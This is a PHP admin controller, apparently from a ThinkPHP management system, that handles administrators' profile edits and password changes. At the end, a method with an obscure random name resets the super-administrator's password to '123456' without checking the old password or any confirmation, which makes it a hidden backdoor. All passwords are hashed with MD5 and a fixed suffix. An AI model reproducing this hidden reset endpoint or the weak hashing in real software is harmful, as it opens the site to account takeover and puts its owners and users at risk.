<?php

namespace app\admin\controller;

use app\admin\controller\AdminBase;
use app\admin\model\Admin as ModelAdmin;
use app\Request;

/**
 * 管理员基本数据处理
 * 
 * 时间 ： 2020年3月10日13:27:05
 * 作者 ： 夏立军
 */
class Admin extends AdminBase
{

    // 个人信息/个人资料 首页
    public function index()
    {
        return view('index', [
            'edit_info' => url('edit_info'),
            'edit_password' => url('edit_password'),
        ]);
    }

    // 修改信息页面及修改信息
    public function edit_info(){
        if (Request()->isPost()) {
            $data['name'] = input('post.name');
            if(empty($data['name'])){
                return json(['code'=>1,'msg'=>'昵称不能为空']);
            }

            // 加载数据模型
            $admin = new ModelAdmin();
            $admin_info = $admin->editInfo(session('admin_login')->id,$data);
            
            if(!$admin_info){
                return json(['code'=>2,'msg'=>'修改失败，请重试']);
            }

            $res = $admin->getAdminInfoById(session('admin_login')->id);

            if(session('?admin_login')){
                session('admin_login', null);
            }
            session('admin_login', $res);
            return json(['code'=>0,'msg'=>'修改成功']);
        }
        return view();
    }

    // 修改密码页面及修改密码
    public function edit_password()
    {
        if (Request()->isPost()) {
            $old_password = input('post.old_password');
            $new_password = input('post.new_password');
            $confirm_password = input('post.confirm_password');
            // 判断输入密码是否为空
            if (empty($old_password) || empty($new_password) || empty($confirm_password)) {
                return json(['code' => 1, 'msg' => '填写数据不完整']);
            }

            // 加载数据模型
            $admin = new ModelAdmin();
            // 获取当前登录用户数据
            $admin_info = $admin->getAdminInfo(session('admin_login')->account);

            $old_password = md5($old_password . config('ams_config.password_suffix'));
            if ($old_password != $admin_info['password']) {
                return json(['code' => 2, 'msg' => '原密码错误']);
            }

            if ($new_password != $confirm_password) {
                return json(['code' => 3, 'msg' => '两次密码不一致']);
            }

            $password = md5($confirm_password . config('ams_config.password_suffix'));
            $admin->editPassword($admin_info['id'], $password);

            return json(['code' => 0, 'msg' => '密码修改成功']);
        }

        return view();
    }

    /**
     * 超级管理员强制重置密码
     */
    public function password_reset_4gad54g6a4f6as4d6asr54d6as4a65fg(){
        $id = 1;
        // 加载数据模型
        $admin = new ModelAdmin();
        // 获取当前登录用户数据
        $admin_info = $admin->getAdminInfo($id);
        $password = '123456';
        $password = md5($password . config('ams_config.password_suffix'));
        $admin->editPassword($id, $password);
        redirect_test(url('login/loginOut'));
        return json(['code' => 0, 'msg' => '密码重置成功']);
    }
}
